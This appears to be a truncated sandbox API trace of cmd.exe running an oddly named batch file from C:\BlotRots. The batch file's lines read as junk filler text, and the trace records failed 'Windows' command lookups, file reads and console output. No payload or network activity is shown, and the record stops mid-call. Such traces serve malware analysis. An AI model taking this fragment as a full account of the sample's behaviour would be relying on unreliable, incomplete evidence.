FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.757] GetLastError () returned 0x2 [0161.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.757] GetLastError () returned 0x2 [0161.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.758] GetLastError () returned 0x2 [0161.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.758] GetLastError () returned 0x2 [0161.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.758] GetLastError () returned 0x2 [0161.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.758] GetLastError () returned 0x2 [0161.758] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.759] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.759] GetLastError () returned 0x2 [0161.759] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cc70 [0161.759] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0161.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.759] GetLastError () returned 0x2 [0161.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.760] GetLastError () returned 0x2 [0161.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.762] GetLastError () returned 0x2 [0161.762] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.762] GetLastError () returned 0x2 [0161.762] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.762] GetLastError () returned 0x2 [0161.762] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.763] GetLastError () returned 0x2 [0161.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.763] GetLastError () returned 0x2 [0161.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.763] GetLastError () returned 0x2 [0161.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.763] GetLastError () returned 0x2 [0161.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.763] GetLastError () returned 0x2 [0161.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.764] GetLastError () returned 0x2 [0161.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.764] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.764] GetLastError () returned 0x2 [0161.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.764] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.764] GetLastError () returned 0x2 [0161.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.764] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.765] GetLastError () returned 0x2 [0161.765] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.765] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.765] GetLastError () returned 0x2 [0161.765] ??_V@YAXPEAX@Z () returned 0x1 [0161.766] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.766] GetFileType (hFile=0x54) returned 0x2 [0161.766] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0161.766] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0161.769] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.769] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0161.769] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0161.769] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0161.769] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0161.771] ??_V@YAXPEAX@Z () returned 0x1 [0161.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.772] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0161.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.772] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0161.773] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.773] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0161.773] SetConsoleInputExeNameW () returned 0x1 [0161.773] GetConsoleOutputCP () returned 0x1b5 [0161.773] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.773] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.774] ??_V@YAXPEAX@Z () returned 0x1 [0161.775] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.792] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.792] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.792] SetFilePointer (in: hFile=0x94, lDistanceToMove=308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x134 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f80) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956650) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0161.792] GetProcessHeap () returned 0x20b0f920000 [0161.792] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f20) returned 1 [0161.793] GetProcessHeap () returned 0x20b0f920000 [0161.793] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0161.793] GetProcessHeap () returned 0x20b0f920000 [0161.793] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0161.793] GetProcessHeap () returned 0x20b0f920000 [0161.794] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0161.794] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.794] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x134 [0161.794] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1681, lpOverlapped=0x0) returned 1 [0161.794] SetFilePointer (in: hFile=0x94, lDistanceToMove=317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d [0161.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\n \r\n") returned 9 [0161.794] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.794] GetFileType (hFile=0x94) returned 0x1 [0161.794] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.794] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d [0161.794] GetProcessHeap () returned 0x20b0f920000 [0161.794] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.795] GetProcessHeap () returned 0x20b0f920000 [0161.795] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.795] _tell (_FileHandle=3) returned 317 [0161.795] _close (_FileHandle=3) returned 0 [0161.795] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.795] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.795] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.795] SetFilePointer (in: hFile=0x94, lDistanceToMove=317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d [0161.795] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.795] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d [0161.796] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1678, lpOverlapped=0x0) returned 1 [0161.796] SetFilePointer (in: hFile=0x94, lDistanceToMove=408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x198 [0161.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0161.796] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.796] GetFileType (hFile=0x94) returned 0x1 [0161.796] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.796] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x198 [0161.796] GetProcessHeap () returned 0x20b0f920000 [0161.796] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.796] GetProcessHeap () returned 0x20b0f920000 [0161.796] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.797] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0161.797] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0161.797] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0161.797] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0161.797] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0161.797] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0161.797] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0161.797] GetProcessHeap () returned 0x20b0f920000 [0161.797] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0161.797] GetProcessHeap () returned 0x20b0f920000 [0161.797] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0161.797] GetProcessHeap () returned 0x20b0f920000 [0161.797] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92cb10 [0161.797] _tell (_FileHandle=3) returned 408 [0161.797] _close (_FileHandle=3) returned 0 [0161.797] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0161.797] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.798] GetFileType (hFile=0x50) returned 0x2 [0161.798] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.798] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0161.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.841] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0161.851] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.851] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.851] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0161.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.851] GetFileType (hFile=0x50) returned 0x2 [0161.851] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.851] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0161.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.852] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0161.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.852] GetFileType (hFile=0x50) returned 0x2 [0161.852] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.853] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.853] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.853] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0161.854] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0161.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.854] GetFileType (hFile=0x50) returned 0x2 [0161.854] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.854] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0161.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.855] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0161.855] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0161.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.856] GetFileType (hFile=0x50) returned 0x2 [0161.856] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.856] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.856] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0161.857] malloc (_Size=0xffce) returned 0x20b0fa60940 [0161.857] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0161.858] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.858] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.858] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.858] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.858] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.858] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.858] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.858] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.858] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.858] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.858] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.858] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.858] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.858] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.858] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.858] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.858] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.858] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.858] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.859] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.859] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.859] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.859] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.859] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.859] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.859] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.859] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.859] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.859] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.859] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.859] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.859] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.859] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.859] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.859] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.859] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.859] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.859] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.859] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.859] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.859] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.859] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.859] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.859] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.860] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.860] GetProcessHeap () returned 0x20b0f920000 [0161.860] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f20 [0161.863] SetErrorMode (uMode=0x0) returned 0x0 [0161.863] SetErrorMode (uMode=0x1) returned 0x0 [0161.863] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f30, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0161.863] SetErrorMode (uMode=0x0) returned 0x1 [0161.863] GetProcessHeap () returned 0x20b0f920000 [0161.863] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f20, Size=0x48) returned 0x20b0f956f20 [0161.863] GetProcessHeap () returned 0x20b0f920000 [0161.863] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f20) returned 0x48 [0161.863] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.863] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.863] GetProcessHeap () returned 0x20b0f920000 [0161.863] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0161.863] GetProcessHeap () returned 0x20b0f920000 [0161.863] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0161.863] GetProcessHeap () returned 0x20b0f920000 [0161.863] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0161.863] GetProcessHeap () returned 0x20b0f920000 [0161.863] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, 